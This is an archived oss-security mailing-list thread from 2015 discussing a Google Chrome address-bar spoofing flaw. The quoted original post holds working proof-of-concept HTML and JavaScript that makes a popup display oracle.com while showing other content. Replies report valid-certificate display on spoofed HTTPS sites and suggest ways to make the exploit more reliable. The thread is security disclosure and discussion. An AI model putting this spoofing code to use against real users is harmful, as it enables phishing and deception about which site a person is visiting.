Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 3 Jul 2015 12:37:23 +0700
From: anidear <anidear1@...il.com>
To: oss-security@...ts.openwall.com
Cc: David Leo <david.leo@...sen.co.uk>, bugtraq@...urityfocus.com, 
	fulldisclosure@...lists.org
Subject: Re: Re: [FD] Google Chrome Address Spoofing (Request
 For Comment)

I played around with the code to see if can change it to avoid using the
fork bomb. Here's what I came up with
https://gist.github.com/ptantiku/d37c364cd13bb31a1ee6
It seems to need at least 500 threads to update the URL at 5ms for this to
work (tested on Chrome x64 43.0.2357.130, Linux, locally).
And the first setInterval() can be substituted for setTimeout(...,10) which
will run only once for waiting the pop-up window to open.

Although the browser is not crashed, the window is still unresponsive to
allow user to interact with it.
Wondering if there is a way to fix that.

Cheers,
PT

On Thu, Jul 2, 2015 at 8:33 PM, Mustafa Al-Bassam <mus@...albas.com> wrote:

> That's pretty neat. Played around with this and made a few discoveries.
>
> 1. It shows a valid certificate when you spoof HTTPS sites. That's really
> bad. POC/screenshot: https://github.com/musalbas/address-spoofing-poc
>
> 2. The page isn't responsive when using this flaw. That means you can't
> spoof a login box for example. (I tried.)
>
> 3. The success of the exploit seems to depend on if the browser can start
> loading content.html fast enough. I noticed that the exploit works 100% of
> the time when used locally. Perhaps a better version of the exploit would
> somehow preload content.html - for example by opening a window with an URL
> that starts with javascript: followed by a script to display the content?
> That, or perhaps reducing the interval time for trying to run next() after
> the popup is created.
>
> I wonder if this works on any other browsers?
>
> MustafaOn 30 Jun 2015 7:08 am, David Leo <david.leo@...sen.co.uk> wrote:
> >
> > Impact:
> > The "click to verify" thing is completely broken...
> > Anyone can be "BBB Accredited Business" etc.
> > You can make whitehouse.gov display "We love Islamic State" :-)
> >
> > Note:
> > No user interaction on the fake page.
> >
> > Code:
> > ***** index.html
> > <script>
> > function next()
> > {
> > w.location.replace('http://www.oracle.com/index.html?'+n);n++;
> > setTimeout("next();",15);
> > setTimeout("next();",25);
> > }
> > function f()
> > {
> > w=window.open("content.html","_blank","width=500 height=500");
> >
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
> > }
> > </script>
> > <a href="#" onclick="f()">Go</a><br>
> > ***** content.html
> > <b>This web page is NOT oracle.com</b>
> > <script>location="http://www.oracle.com/index.html";</script>
> > ***** It's online
> > http://www.deusen.co.uk/items/gwhere.6128645971389012/
> > (The page says "June/16/2015" - it works as we tested today)
> >
> > Request For Comment:
> > We reported this to Google.
> > They reproduced, and say
> > It's DoS which doesn't matter.
> > We think it's very strange,
> > since the browser does not crash(not DoS),
> > and the threat is obvious.
> > What's your opinion?
> >
> > Kind Regards,
> >
> > PS
> > We love clever tricks.
> > We love this:
> > http://dieyu.org/
> >
> >
> > _______________________________________________
> > Sent through the Full Disclosure mailing list
> > https://nmap.org/mailman/listinfo/fulldisclosure
> > Web Archives & RSS: http://seclists.org/fulldisclosure/
>

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.